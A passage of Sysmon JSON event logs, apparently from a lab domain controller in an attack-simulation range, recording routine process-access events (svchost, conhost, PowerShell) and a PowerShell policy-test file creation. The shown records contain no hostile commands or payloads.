11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5668,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.978\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.978","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5669,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.978\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.978","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5670,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.978\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.978","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5671,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.978\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.978","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5672,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.978\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.978","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5673,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.978\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.978","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5674,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.978\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-00100E8D0800}\r\nTargetProcessId: 4580\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.978","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-00100E8D0800}","TargetProcessId":"4580","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5675,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-00100E8D0800}\r\nTargetProcessId: 4580\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-00100E8D0800}","TargetProcessId":"4580","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5676,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.041\r\nProcessGuid: {90617006-4171-5F2D-0000-00100E8D0800}\r\nProcessId: 4580\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0rfqfaqi.dqi.ps1\r\nCreationUtcTime: 2020-08-07 11:56:34.041","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.041","ProcessGuid":"{90617006-4171-5F2D-0000-00100E8D0800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0rfqfaqi.dqi.ps1","CreationUtcTime":"2020-08-07 11:56:34.041","EventReceivedTime":"2020-08-07 11:56:35","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 